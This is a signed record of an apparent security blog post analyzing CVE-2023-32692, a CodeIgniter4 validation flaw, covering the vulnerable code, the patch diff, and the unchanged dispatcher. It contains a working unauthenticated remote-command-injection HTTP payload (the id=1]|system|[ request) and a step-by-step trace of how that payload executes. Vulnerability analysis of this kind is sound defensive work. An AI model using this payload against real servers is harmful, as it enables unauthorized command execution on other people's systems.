-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The rule string is the program\n\nThe Validation library's documented example, copy-pasted from the user guide and reproduced in every CodeIgniter4 tutorial:\n\n```php\n$validation->setRules([\n 'email' => 'required|valid_email|is_unique[users.email,id,{id}]',\n]);\n```\n\nThe string is the rule set for the `email` field. The `|` splits it into three rule expressions: `required`, `valid_email`, `is_unique[users.email,id,{id}]`. The brackets carry parameters. The `{id}` is a placeholder. At validation time, it resolves to the value of the `id` field in the same request data, so a developer can write \"this email must be unique except for the row whose id matches this form's id.\"\n\nBefore v4.3.5, the resolution was a textual substitution into the rule string. From `system/Validation/Validation.php` at the pre-patch tip:\n\n```php\nprotected function fillPlaceholders(array $rules, array $data): array\n{\n $replacements = [];\n\n foreach ($data as $key => $value) {\n $replacements[\"{{$key}}\"] = $value;\n }\n\n if ($replacements !== []) {\n foreach ($rules as &$rule) {\n $ruleSet = $rule['rules'] ?? $rule;\n\n if (is_array($ruleSet)) {\n foreach ($ruleSet as &$row) {\n if (is_string($row)) {\n $row = strtr($row, $replacements);\n }\n }\n }\n // ...\n }\n }\n return $rules;\n}\n```\n\nEvery key in `$data` becomes a substitution token. Every value is whatever the request sent for that key. No characters are escaped, no token is constrained to a placeholder field the developer named, and no validation runs before the `strtr` rewrites the rule string. The rule string is now whatever the attacker wanted to inject into it.\n\n## `is_callable` is the dispatcher\n\nAfter substitution, the framework processes the rules one at a time. From pre-patch `processRules`, lightly trimmed:\n\n```php\nforeach ($rules as $i => $rule) {\n $isCallable = is_callable($rule);\n\n $passed = false;\n $param = false;\n\n if (! $isCallable && preg_match('/(.*?)\\[(.*)\\]/', $rule, $match)) {\n $rule = $match[1];\n $param = $match[2];\n }\n\n if ($this->isClosure($rule)) {\n $passed = $rule($value, $data, $error, $field);\n } elseif ($isCallable) {\n $passed = $param === false ? $rule($value) : $rule($value, $param, $data);\n } else {\n // Walk the framework's ruleSetInstances for a method named $rule.\n foreach ($this->ruleSetInstances as $set) {\n if (! method_exists($set, $rule)) {\n continue;\n }\n $found = true;\n $passed = $param === false\n ? $set->{$rule}($value, $error)\n : $set->{$rule}($value, $param, $data, $error, $field);\n break;\n }\n if (! $found) {\n throw ValidationException::forRuleNotFound($rule);\n }\n }\n}\n```\n\nThe dispatcher computes `is_callable($rule)` BEFORE the bracket-extraction regex. The bracket extraction only runs in the `! $isCallable` branch. So a string that is already callable as a PHP function name skips the parameter parsing entirely and reaches `$rule($value)` directly.\n\nPHP's `is_callable` accepts a string and returns true if that string names anything the current runtime can call. A user-defined function. A method on a class loaded by the autoloader. A registered closure. And every PHP built-in.\n\n```\nis_callable(\"system\") // true\nis_callable(\"passthru\") // true\nis_callable(\"exec\") // true\nis_callable(\"shell_exec\") // true\nis_callable(\"proc_open\") // true\nis_callable(\"popen\") // true\nis_callable(\"assert\") // true\n```\n\nThe framework's rule namespace, the set of strings the validation library is willing to treat as a \"rule,\" is the entire callable surface of the PHP interpreter. CodeIgniter's own rule classes (`FormatRules`, `Rules`, `CreditCardRules`, `FileRules`) live in the `else` branch, behind the `! $isCallable` check. PHP's built-in function table lives in front of them.\n\nWhen the dispatcher reaches `$rule($value)` with `$rule = \"system\"` and `$value` being the form's email field, the call is `system($email_value)`. `system` reads its first argument as a shell command line.\n\n## The exploit chain, from the wire to a PHP function call\n\nThe MOGWAI Labs writeup uses this rule set, which is what the application would actually look like when the developer cares about uniqueness more than email format:\n\n```php\n$validation->setRules([\n 'email' => 'required|max_length[254]|is_unique[users.email,id,{id}]',\n]);\n```\n\nThe payload:\n\n```\nPOST /register HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nid=1]|system|[&email=touch${IFS}/tmp/pwned&&ls@foobar.com\n```\n\n`fillPlaceholders` runs first. `$data['id']` is the string `1]|system|[`. `strtr` substitutes `{id}` in the rule string. The `email` field's rule string becomes:\n\n```\nrequired|max_length[254]|is_unique[users.email,id,1]|system|[]\n```\n\n`splitRules` splits the string on `|`. It is bracket-aware (it counts `[` and `]` so a pipe inside a parameter does not split), so the result is:\n\n```\n[\"required\", \"max_length[254]\", \"is_unique[users.email,id,1]\", \"system\", \"[]\"]\n```\n\nFive rules. `processRules` iterates.\n\n1. `required` passes. The email value is non-empty.\n2. `max_length[254]` passes. The value is well under 254 characters.\n3. `is_unique[users.email,id,1]` passes. The database does not already contain that email at any row, let alone the row whose id is 1.\n4. `system`. `is_callable(\"system\")` is true. The bracket regex does not match (no brackets in the string). `$param` is false. The dispatcher calls `$rule($value)`, which is `system(\"touch${IFS}/tmp/pwned&&ls@foobar.com\")`. PHP forks `/bin/sh -c` with that argument. Bash expands `${IFS}` to a space. The shell runs `touch /tmp/pwned && ls @foobar.com`. The first command succeeds. The second command fails harmlessly. `system` returns the last line of output, a non-empty string, which the dispatcher treats as truthy. The rule \"passes.\"\n5. `[]`. `is_callable(\"[]\")` is false. The bracket regex matches `$rule = \"\"`, `$param = \"\"`. The ruleSet loop finds no method named the empty string. `ValidationException::forRuleNotFound` is thrown.\n\nThe application returns a 500. The touch happened first.\n\nThe PoC is six characters of injected rule syntax (`]|system|[`) and three pieces of shell quoting (`${IFS}`, `&&`, the trailing `@foobar.com` to absorb the local-part terminator). No authentication. No session. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, which is the CVE record reporting that PHP's function table is reachable from an unauthenticated form post.\n\n## The patch\n\nThe May 2023 commit (`249c9151`) rewrites `fillPlaceholders` from 24 lines into 53, with a new helper. The shape:\n\n```diff\n protected function fillPlaceholders(array $rules, array $data): array\n {\n- $replacements = [];\n+ foreach ($rules as &$rule) {\n+ $ruleSet = $rule['rules'];\n \n- foreach ($data as $key => $value) {\n- $replacements[\"{{$key}}\"] = $value;\n- }\n+ foreach ($ruleSet as &$row) {\n+ if (is_string($row)) {\n+ $placeholderFields = $this->retrievePlaceholders($row, $data);\n \n- if ($replacements !== []) {\n- foreach ($rules as &$rule) {\n- $ruleSet = $rule['rules'] ?? $rule;\n- if (is_array($ruleSet)) {\n- foreach ($ruleSet as &$row) {\n- if (is_string($row)) {\n- $row = strtr($row, $replacements);\n- }\n+ foreach ($placeholderFields as $field) {\n+ $validator ??= Services::validation(null, false);\n+ $placeholderRules = $rules[$field]['rules'] ?? null;\n+\n+ if ($placeholderRules === null) {\n+ throw new LogicException(\n+ 'No validation rules for the placeholder: ' . $field\n+ );\n+ }\n+ foreach ($placeholderRules as $placeholderRule) {\n+ if ($this->retrievePlaceholders($placeholderRule, $data)) {\n+ throw new LogicException(\n+ 'The placeholder field cannot use placeholder: ' . $field\n+ );\n+ }\n+ }\n+ if (! $validator->check($data[$field], implode('|', $placeholderRules))) {\n+ continue;\n+ }\n+ $ruleSet = str_replace('{' . $field . '}', $data[$field], $ruleSet);\n }\n }\n }\n+ $rule['rules'] = $ruleSet;\n }\n return $rules;\n }\n```\n\nThree new requirements, all enforced at runtime:\n\nThe placeholder field must have its own validation rules. If it does not, `LogicException` is thrown the first time `fillPlaceholders` sees the placeholder. The framework now refuses to substitute a value the developer never validated.\n\nThe placeholder field's rules may not themselves contain placeholders. No transitive substitution.\n\nThe placeholder value must pass its own rules before substitution. If it does not, the placeholder is left intact in the rule string and substitution is skipped.\n\nThe user guide picked up a warning the same week, sitting under the placeholders section in `validation.rst`:\n\n> Since v4.3.5, you must set the validation rules for the placeholder field (the `id` field in the sample code above) for security reasons. Because attackers can send any data to your application.\n\nThat sentence is the framework writing down what its own validator was doing for three years. The rule string was a sink. The placeholder substitution was a content-channel into the sink. The dispatcher at the bottom of the call was a function-name lookup. None of that was named anywhere in the codebase before the patch added a `LogicException` for the missing-rules case.\n\n## The dispatcher is unchanged in master\n\nThe May 2023 commit modifies `fillPlaceholders`. It does not touch `processRules`. `system/Validation/Validation.php` at HEAD of the develop branch, May 2026:\n\n```php\nforeach ($rules as $i => $rule) {\n $isCallable = is_callable($rule);\n $stringCallable = $isCallable && is_string($rule);\n $arrayCallable = $isCallable && is_array($rule);\n\n $passed = false;\n $param = null;\n\n if (! $isCallable && preg_match('/(.*?)\\[(.*)\\]/', $rule, $match)) {\n $rule = $match[1];\n $param = $match[2];\n }\n\n if ($this->isClosure($rule)) {\n $passed = $rule($value, $data, $error, $field);\n } elseif ($isCallable) {\n $passed = $stringCallable ? $rule($value) : $rule($value, $data, $error, $field);\n }\n // ...\n}\n```\n\nThe same `is_callable($rule)` check. The same `$rule($value)` for string-callables. The same precedence: callability wins over bracket extraction. The function-name lookup that turned `system` into a rule four CodeIgniter4 majors ago is structurally identical four CodeIgniter4 majors later.\n\nThe fix closes the path that delivered attacker text into a rule string through placeholder substitution. It does not close any of the other paths. The user guide, in the same May 2026 master branch, still advertises one:\n\n> This can also be used to create more dynamic rules at runtime, as long as you take care that any dynamic keys passed in don't conflict with your form data.\n\nApplication code that builds rule strings from session data, query results, admin-provided configuration, anything not the request's own form fields, has reproduced the primitive `fillPlaceholders` once owned. The patch lives inside `fillPlaceholders`. The dispatcher is downstream of every rule-string source the framework exposes. A controller that writes:\n\n```php\n$validation->setRule('username', \"required|alpha_numeric|min_length[$adminConfiguredMinimum]\");\n```\n\nand where `$adminConfiguredMinimum` is anywhere user-influenceable, has the same primitive as the pre-patch placeholder bug. There is no `LogicException` for that case because there is no shared chokepoint to add one to.\n\n## Why the primitive exists\n\nThe shape is content-is-command. The form data is the content channel. The rule string is the interpreter's program text. The interpreter has a tokenizer (`splitRules`, splitting on `|`), a parameter extractor (the bracket regex), and a dispatch table with two branches. One branch is the framework's own rule classes, walked by `method_exists`. The other branch is `is_callable`, which resolves to the runtime's full callable surface.\n\nThe framework's authors did not design the rule DSL to dispatch into PHP's function table. They designed it to dispatch into their rule classes. The `is_callable` branch was added to support PHP callables, the kind a developer would pass as a closure or as `[Class::class, 'method']`, for inline custom rules. The framework needed a way to recognize \"this rule is already a callable thing, just call it.\" `is_callable` is the obvious check.\n\nThe check does what its name says. It returns true for callables. PHP's built-in functions are callables. So the moment any attacker-influenced text reaches the rule list as a string, the rule-name lookup is a function-name lookup across the entire interpreter, and the function the lookup picks runs with the field's value as its first argument.\n\nThe patch admits this implicitly by adding three layers of validation in front of `strtr`. It does not name the dispatcher and does not sandbox the dispatcher. The dispatcher stays because changing it would mean breaking every CodeIgniter4 application that registers a PHP-callable string as a rule, and the framework cannot tell which strings the developer meant as \"framework rule\" and which they meant as \"PHP function.\" The DSL was designed not to need to tell.\n\nThis is the same shape that produced [graphql-ruby's CVE-2025-27407](/posts/graphql-ruby-cve-2025-27407-loaded-the-schema-by-compiling-it) and [Handlebars' CVE-2026-33937](/posts/handlebars-cve-2026-33937-trusts-its-own-ast): a framework whose internal DSL is, at the bottom of its call stack, the host language's evaluator. The fix in each case closes a specific path that delivers attacker text to the evaluator. The evaluator stays, because removing it would mean rewriting the DSL's contract with everyone who built on top of it.\n\nPoC: [mogwailabs.de/en/blog/2026/05/vulnerability-spotlight-cve-2023-32692/](https://mogwailabs.de/en/blog/2026/05/vulnerability-spotlight-cve-2023-32692/)","closing_line":"The patch closes the route to the dispatcher. It does not close the dispatcher.","hook_md":"CVE-2023-32692 is a code-injection vulnerability in CodeIgniter4's Validation library, patched in v4.3.5 on May 21, 2023. The bug is one line: `$row = strtr($row, $replacements);` inside `fillPlaceholders()`. `$replacements` is built from the inbound request data. `$row` is a rule string the framework will later split on `|` and dispatch by name. The fix pre-validates the placeholder field's value before substitution. The dispatcher that the substituted text reaches resolves rule names through `is_callable($rule)`, and `is_callable(\"system\")` returns true.","post_id":360,"slug":"codeigniter4-cve-2023-32692-system-is-a-rule-name","title":"CVE-2023-32692: system Is a Rule Name in CodeIgniter4 Validation","type":"initial","unreadable_sentence":"system, passthru, exec, shell_exec, and proc_open are rule names in CodeIgniter4 because PHP's is_callable resolves them, and the patch for CVE-2023-32692 did not change the line that calls is_callable."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCav0HHAAKCRDeZjl4jgkQ JnzNAP0ZCu+vuHMnTayH3gJ1Tyc4LUo7ck2zQ2YnlEbvROICIwD6At7S2JoFgfck Thaknt+166yH0MRJ8EyJLm1+moXv5wo= =XbFl -----END PGP SIGNATURE-----